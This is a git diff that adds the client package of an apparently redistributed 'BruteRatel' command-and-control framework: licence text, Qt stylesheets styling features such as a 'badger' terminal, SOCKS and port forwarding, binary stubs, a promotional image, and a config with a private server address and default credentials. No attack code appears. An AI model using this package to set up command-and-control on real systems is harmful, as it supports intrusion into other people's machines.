If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. \ No newline at end of file diff --git a/BruteRatel-v2.1.2/lib64-linux/commander b/BruteRatel-v2.1.2/lib64-linux/commander new file mode 100644 index 0000000..3477302 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/commander differ diff --git a/BruteRatel-v2.1.2/lib64-linux/commander-light.qss b/BruteRatel-v2.1.2/lib64-linux/commander-light.qss new file mode 100644 index 0000000..dec9b8b --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-linux/commander-light.qss @@ -0,0 +1,333 @@ +QDialog { + background: #c5d4db; /* white */ + color: black; +} + +QWidget { + background-color: #c5d4db; + color: black; + selection-background-color: #91b2c7; + font-size: 9pt; +} + +QHeaderView::section { + padding:5px; + color: black; + background: #cee5f0; + font-size: 9pt; +} + +QTabWidget { + background-color: #cee5f0; + color: black; + selection-background-color: #91b2c7; /* light blue */ + font-size: 9pt; +} + +QTabWidget:disabled { + background-color: grey; + color: grey; +} + +QTabBar:tab { + background: #91b2c7; + color: black; + border: 1px solid #535a6e; /* dark purple */ + padding-left: 10px; + padding-right: 10px; + padding-top: 5px; + padding-bottom: 5px; +} + +QTabBar:tab:selected { + background: #406d87; /* light dark blue */ + color: white; +} + +QToolButton { + padding: 5px; + background: #91b2c7; + color: black; + border-radius: 7px; + font-size: 9pt; +} + +QToolButton:pressed { + background-color: #406d87; + font-size: 9pt; +} + +QMenu { + padding: 5px; + selection-background-color: #406d87; + background-color: #91b2c7; + color: black; + icon-size: 16px; + font-family: Monospace; + font-size: 9pt; + border: 1px solid #56647a; +} + +QMenu:item:selected { + color: white; +} + + +QLabel { + background: none; + font-family: Monospace; + font-size: 9pt; +} + +QDockWidget { + background-color: #cee5f0; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QDockWidget:title { + position: relative; + text-align: center; +} + +QTableWidget { + background: #cee5f0; + color: white; + font-family: Monospace; + selection-background-color: #406d87; + font-size: 9pt; +} + +QTableWidget:item { + padding:5px; + background-color: #91b2c7; +} + +QTableWidget:item:selected { + background-color: #406d87; +} + +QStatusBar { + background-color: rgba(0, 0, 0, 0); + selection-background-color: #91b2c7; + color: black; +} + +QGroupBox { + background: #cee5f0; + color: black; + selection-background-color: #91b2c7; + border:none; +} + +QGroupBox:disabled { + background-color:#000000; +} + +QPlainTextEdit { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QLineEdit { + background-color: white; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QComboBox { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} +QSpinBox { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QWebEngineView { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; +} + +QPushButton { + padding: 5px; + background-color: #406d87; + color: black; +} + +QPushButton:pressed { + background-color: #91b2c7; +} + +QCheckBox { + background: none; + color: black; + font-size: 9pt; +} + +QCheckBox:indicator:checked { + background-color: #406d87; + border: 2px solid white; +} + +QCheckBox:indicator:unchecked { + background-color: black; + border: 2px solid white; +} + +QRadioButton { + background: none; + color: black; + font-size: 9pt; +} +QRadioButton::indicator { + width: 10px; + height: 10px; + border-radius: 7px; +} + +QRadioButton::indicator:checked { + background-color: #406d87; + border: 2px solid white; +} + +QRadioButton::indicator:unchecked { + background-color: black; + border: 2px solid white; +} + +QTreeWidget { + outline:0; + background: #cee5f0; + font-size: 9pt; +} + +QTreeWidget::item { + padding: 5px; + background: #91b2c7; + border: 0.5px solid black; +} + +QTreeWidget::item:selected { + background-color: #406d87; +} + +QListWidget { + outline:0; + background: #cee5f0; + font-size: 9pt; +} + +QListWidget::item { + background: #91b2c7; /* light purple */ + color: black; + font-size: 9pt; +} + +QListWidget::item:selected { + background-color: #406d87; +} + +QTextBrowser { + padding: 5px; + background: #91b2c7; + color: black; + selection-background-color: #406d87; + font-size: 9pt; +} + +QTextEdit:enabled { + padding: 5px; + background: #91b2c7; + color: black; + selection-background-color: #406d87; + font-size: 9pt; +} + +QTextEdit:disabled { + background: grey; + color: black; +} + +QLabel#label_status { + background: none; + font-family: Monospace; + color: #33FF00; + font-weight: bold; + font-size: 9pt; +} + +QLabel#label_error { + background: none; + color : red; + font-size: 9pt; +} + +QTreeWidget#treeWidget_lstree::item:has-children { + border-right: 10px solid #91b2c7; + background-color: #5f757d; +} + +QTableWidget#tableWidget_pstree::item { + padding:5px; + border-right: 1px solid #406d87; + border-left: 1px solid #406d87; +} + +QTableWidget#tableWidget_lstree:item { + padding:5px; + border-right: 1px solid #406d87; + border-left: 1px solid #406d87; +} + +QLineEdit#lineEdit_cmd { + background-color: white; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QLineEdit#lineEdit_terminal_cwd { + background-color: #173642; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_sleep { + background-color: #173642; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_user { + background-color: #173642; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_socks { + background-color: #173642; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_rportfwd { + background-color: #173642; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} + +QTextEdit#textEdit_badger_terminal { + background: #173642; + color: white; +} diff --git a/BruteRatel-v2.1.2/lib64-linux/commander-shady.qss b/BruteRatel-v2.1.2/lib64-linux/commander-shady.qss new file mode 100644 index 0000000..1cbf892 --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-linux/commander-shady.qss @@ -0,0 +1,350 @@ +/* total colors - 12 - +main background: #30303d; +background: #3c3c4d; +selection background: #24435d; +text-editor: #24435d; +tab-background: #24435d; +border1: #535a6e; +disabled: #000000; +badger-cmd-color: #33FF00; +badger-meta: #30303d; +badger-meta-selection: #050f2e; +badger-meta-text: #a8a8a8; +badger-terminal: #1a1a26; +font-color: #ffffff; +line-background-color: #000000; +*/ + +QDialog { + background: #30303d; /* white */ + color: #ffffff; +} + +QWidget { + background-color: #30303d; + color: #ffffff; + selection-background-color: #27282f; + font-size: 9pt; +} + +QHeaderView::section { + padding:5px; + color: #ffffff; + background: #3c3c4d; + font-size: 9pt; +} + +QTabWidget { + background-color: #3c3c4d; + color: #ffffff; + selection-background-color: #27282f; /* light blue */ + font-size: 9pt; +} + +QTabWidget:disabled { + background-color: grey; + color: grey; +} + +QTabBar:tab { + background: #27282f; + color: #ffffff; + border: 1px solid #535a6e; /* dark purple */ + padding-left: 10px; + padding-right: 10px; + padding-top: 5px; + padding-bottom: 5px; +} + +QTabBar:tab:selected { + background: #24435d; /* light dark blue */ + color: white; +} + +QToolButton { + padding: 5px; + background: #27282f; + color: #ffffff; + border-radius: 7px; + font-size: 9pt; +} + +QToolButton:pressed { + background-color: #24435d; + font-size: 9pt; +} + +QMenu { + padding: 5px; + selection-background-color: #24435d; + background-color: #27282f; + color: #ffffff; + icon-size: 16px; + font-family: Monospace; + font-size: 9pt; + border: 1px solid #535a6e; +} + +QMenu:item:selected { + color: white; +} + + +QLabel { + background: none; + font-family: Monospace; + font-size: 9pt; +} + +QDockWidget { + background-color: #3c3c4d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 9pt; +} + +QDockWidget:title { + position: relative; + text-align: center; +} + +QTableWidget { + background: #3c3c4d; + color: #ffffff; + font-family: Monospace; + selection-background-color: #24435d; + font-size: 9pt; +} + +QTableWidget:item { + padding:5px; + background-color: #27282f; +} + +QTableWidget:item:selected { + background-color: #24435d; +} + +QStatusBar { + background-color: rgba(0, 0, 0, 0); + selection-background-color: #27282f; + color: #ffffff; +} + +QGroupBox { + background: #3c3c4d; + color: #ffffff; + selection-background-color: #27282f; + border:none; +} + +QGroupBox:disabled { + background-color:#000000; +} + +QPlainTextEdit { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 9pt; +} + +QLineEdit { + background-color: #000000; + selection-background-color: #27282f; + color: #ffffff; + font-size: 9pt; +} + +QComboBox { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 9pt; +} +QSpinBox { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 9pt; +} + +QWebEngineView { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; +} + +QPushButton { + padding: 5px; + background-color: #24435d; + color: #ffffff; +} + +QPushButton:pressed { + background-color: #27282f; +} + +QCheckBox { + background: none; + color: #ffffff; + font-size: 9pt; +} + +QCheckBox:indicator:checked { + background-color: #24435d; + border: 2px solid white; +} + +QCheckBox:indicator:unchecked { + background-color: #ffffff; + border: 2px solid white; +} + +QRadioButton { + background: none; + color: #ffffff; + font-size: 9pt; +} +QRadioButton::indicator { + width: 10px; + height: 10px; + border-radius: 7px; +} + +QRadioButton::indicator:checked { + background-color: #24435d; + border: 2px solid white; +} + +QRadioButton::indicator:unchecked { + background-color: #ffffff; + border: 2px solid white; +} + +QTreeWidget { + outline:0; + background: #3c3c4d; + font-size: 9pt; +} + +QTreeWidget::item { + padding: 5px; + background: #27282f; + border: 0.5px solid black; +} + +QTreeWidget::item:selected { + background-color: #24435d; +} + +QListWidget { + outline:0; + background: #3c3c4d; + font-size: 9pt; +} + +QListWidget::item { + background: #27282f; /* light purple */ + color: #ffffff; + font-size: 9pt; +} + +QListWidget::item:selected { + background-color: #24435d; +} + +QTextBrowser { + padding: 5px; + background: #27282f; + color: #ffffff; + selection-background-color: #24435d; + font-size: 9pt; +} + +QTextEdit:enabled { + padding: 5px; + background: #27282f; + color: #ffffff; + selection-background-color: #24435d; + font-size: 9pt; +} + +QTextEdit:disabled { + background: grey; + color: #ffffff; +} + +QLabel#label_status { + background: none; + font-family: Monospace; + color: #33FF00; + font-weight: bold; + font-size: 9pt; +} + +QLabel#label_error { + background: none; + color : red; + font-size: 9pt; +} + +QTreeWidget#treeWidget_lstree::item:has-children { + border-right: 10px solid #27282f; + background-color: #24435d; +} + +QTableWidget#tableWidget_pstree::item { + padding:5px; + border-right: 1px solid #24435d; + border-left: 1px solid #24435d; +} + +QTableWidget#tableWidget_lstree:item { + padding:5px; + border-right: 1px solid #24435d; + border-left: 1px solid #24435d; +} + +QLineEdit#lineEdit_cmd { + background-color: #000000; + selection-background-color: #27282f; + color: #ffffff; + font-size: 9pt; +} + +QLineEdit#lineEdit_terminal_cwd { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_sleep { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_user { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_socks { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_rportfwd { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} + +QTextEdit#textEdit_badger_terminal { + background: #1a1a26; + color: white; +} diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Core.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Core.so.5 new file mode 100644 index 0000000..0f99937 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Core.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5DBus.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5DBus.so.5 new file mode 100644 index 0000000..db74a9b Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5DBus.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Gui.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Gui.so.5 new file mode 100644 index 0000000..d9df911 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Gui.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Network.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Network.so.5 new file mode 100644 index 0000000..668a40b Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Network.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Positioning.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Positioning.so.5 new file mode 100644 index 0000000..e4066e5 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Positioning.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5PrintSupport.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5PrintSupport.so.5 new file mode 100644 index 0000000..3fd696f Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5PrintSupport.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Qml.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Qml.so.5 new file mode 100644 index 0000000..04ea435 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Qml.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5QmlModels.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5QmlModels.so.5 new file mode 100644 index 0000000..e80f045 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5QmlModels.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Quick.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Quick.so.5 new file mode 100644 index 0000000..a5fcd79 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Quick.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5QuickWidgets.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5QuickWidgets.so.5 new file mode 100644 index 0000000..18bd804 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5QuickWidgets.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5WebChannel.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5WebChannel.so.5 new file mode 100644 index 0000000..8645e83 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5WebChannel.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5WebSockets.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5WebSockets.so.5 new file mode 100644 index 0000000..63c0378 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5WebSockets.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Widgets.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Widgets.so.5 new file mode 100644 index 0000000..cdae41c Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5Widgets.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libQt5XcbQpa.so.5 b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5XcbQpa.so.5 new file mode 100644 index 0000000..0904bb0 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libQt5XcbQpa.so.5 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libicudata.so.56 b/BruteRatel-v2.1.2/lib64-linux/lib/libicudata.so.56 new file mode 100644 index 0000000..ce251d8 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libicudata.so.56 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libicui18n.so.56 b/BruteRatel-v2.1.2/lib64-linux/lib/libicui18n.so.56 new file mode 100644 index 0000000..a95c22d Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libicui18n.so.56 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libicuuc.so.56 b/BruteRatel-v2.1.2/lib64-linux/lib/libicuuc.so.56 new file mode 100644 index 0000000..7b4e4ac Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libicuuc.so.56 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/lib/libxcb-xinerama.so.0 b/BruteRatel-v2.1.2/lib64-linux/lib/libxcb-xinerama.so.0 new file mode 100644 index 0000000..5ab66bb Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/lib/libxcb-xinerama.so.0 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/platforms/libX11-xcb.so.1 b/BruteRatel-v2.1.2/lib64-linux/platforms/libX11-xcb.so.1 new file mode 100644 index 0000000..cd6d673 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/platforms/libX11-xcb.so.1 differ diff --git a/BruteRatel-v2.1.2/lib64-linux/platforms/libqxcb.so b/BruteRatel-v2.1.2/lib64-linux/platforms/libqxcb.so new file mode 100644 index 0000000..a19083e Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/platforms/libqxcb.so differ diff --git a/BruteRatel-v2.1.2/lib64-linux/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/lib64-linux/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-linux/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/lib64-mac/commander b/BruteRatel-v2.1.2/lib64-mac/commander new file mode 100644 index 0000000..a895cda Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/commander differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtCore.framework/Versions/5/QtCore b/BruteRatel-v2.1.2/lib64-mac/lib/QtCore.framework/Versions/5/QtCore new file mode 100644 index 0000000..85e1bea Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtCore.framework/Versions/5/QtCore differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtDBus.framework/Versions/5/QtDBus b/BruteRatel-v2.1.2/lib64-mac/lib/QtDBus.framework/Versions/5/QtDBus new file mode 100644 index 0000000..0b22f32 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtDBus.framework/Versions/5/QtDBus differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtGui.framework/Versions/5/QtGui b/BruteRatel-v2.1.2/lib64-mac/lib/QtGui.framework/Versions/5/QtGui new file mode 100644 index 0000000..8ed2562 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtGui.framework/Versions/5/QtGui differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtNetwork.framework/Versions/5/QtNetwork b/BruteRatel-v2.1.2/lib64-mac/lib/QtNetwork.framework/Versions/5/QtNetwork new file mode 100644 index 0000000..e65b5fa Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtNetwork.framework/Versions/5/QtNetwork differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtPrintSupport.framework/Versions/5/QtPrintSupport b/BruteRatel-v2.1.2/lib64-mac/lib/QtPrintSupport.framework/Versions/5/QtPrintSupport new file mode 100644 index 0000000..d3425ca Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtPrintSupport.framework/Versions/5/QtPrintSupport differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtWebSockets.framework/Versions/5/QtWebSockets b/BruteRatel-v2.1.2/lib64-mac/lib/QtWebSockets.framework/Versions/5/QtWebSockets new file mode 100644 index 0000000..94baa42 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtWebSockets.framework/Versions/5/QtWebSockets differ diff --git a/BruteRatel-v2.1.2/lib64-mac/lib/QtWidgets.framework/Versions/5/QtWidgets b/BruteRatel-v2.1.2/lib64-mac/lib/QtWidgets.framework/Versions/5/QtWidgets new file mode 100644 index 0000000..f90d041 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/lib/QtWidgets.framework/Versions/5/QtWidgets differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqgif.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqgif.dylib new file mode 100644 index 0000000..dba6bae Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqgif.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqicns.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqicns.dylib new file mode 100644 index 0000000..8bde165 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqicns.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqico.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqico.dylib new file mode 100644 index 0000000..2f6f30f Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqico.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqjpeg.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqjpeg.dylib new file mode 100644 index 0000000..41395a5 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqjpeg.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqmacheif.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqmacheif.dylib new file mode 100644 index 0000000..5e7e4aa Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqmacheif.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqmacjp2.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqmacjp2.dylib new file mode 100644 index 0000000..681b5fd Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqmacjp2.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqsvg.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqsvg.dylib new file mode 100644 index 0000000..edb8532 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqsvg.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqtga.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqtga.dylib new file mode 100644 index 0000000..62ceb90 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqtga.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqtiff.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqtiff.dylib new file mode 100644 index 0000000..e37c86d Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqtiff.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqwbmp.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqwbmp.dylib new file mode 100644 index 0000000..7c541c4 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqwbmp.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqwebp.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqwebp.dylib new file mode 100644 index 0000000..dcec167 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/imageformats/libqwebp.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/platforms/libqcocoa.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/platforms/libqcocoa.dylib new file mode 100644 index 0000000..ed0999e Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/platforms/libqcocoa.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/plugins/styles/libqmacstyle.dylib b/BruteRatel-v2.1.2/lib64-mac/plugins/styles/libqmacstyle.dylib new file mode 100644 index 0000000..b638858 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/plugins/styles/libqmacstyle.dylib differ diff --git a/BruteRatel-v2.1.2/lib64-mac/ratel.conf b/BruteRatel-v2.1.2/lib64-mac/ratel.conf new file mode 100644 index 0000000..d4af9c7 --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-mac/ratel.conf @@ -0,0 +1,8 @@ +{ + "ratel_servers": { + "192.168.1.227:8443": { + "pass": "password", + "user": "admin" + } + } +} diff --git a/BruteRatel-v2.1.2/lib64-mac/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/lib64-mac/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-mac/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/lib64-windows/commander-light.qss b/BruteRatel-v2.1.2/lib64-windows/commander-light.qss new file mode 100644 index 0000000..f9fb20e --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-windows/commander-light.qss @@ -0,0 +1,324 @@ +QDialog { + background: #c5d4db; /* white */ + color: black; +} + +QWidget { + background-color: #c5d4db; + color: black; + selection-background-color: #91b2c7; + font-size: 9pt; +} + +QHeaderView::section { + padding:5px; + color: black; + background: #cee5f0; + font-size: 9pt; +} + +QTabWidget { + background-color: #cee5f0; + color: black; + selection-background-color: #91b2c7; /* light blue */ + font-size: 9pt; +} + +QTabWidget:disabled { + background-color: grey; + color: grey; +} + +QTabBar:tab { + background: #91b2c7; + color: black; + border: 1px solid #535a6e; /* dark purple */ + padding-left: 10px; + padding-right: 10px; + padding-top: 5px; + padding-bottom: 5px; +} + +QTabBar:tab:selected { + background: #406d87; /* light dark blue */ + color: white; +} + +QToolButton { + padding: 5px; + background: #91b2c7; + color: black; + border-radius: 7px; + font-size: 9pt; +} + +QToolButton:pressed { + background-color: #406d87; + font-size: 9pt; +} + +QMenu { + padding: 5px; + selection-background-color: #406d87; + background-color: #91b2c7; + color: black; + icon-size: 16px; + font-family: Monospace; + font-size: 9pt; + border: 1px solid #56647a; +} + +QMenu:item:selected { + color: white; +} + + +QLabel { + background: none; + font-family: Monospace; + font-size: 9pt; +} + +QDockWidget { + background-color: #cee5f0; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QTableWidget { + background: 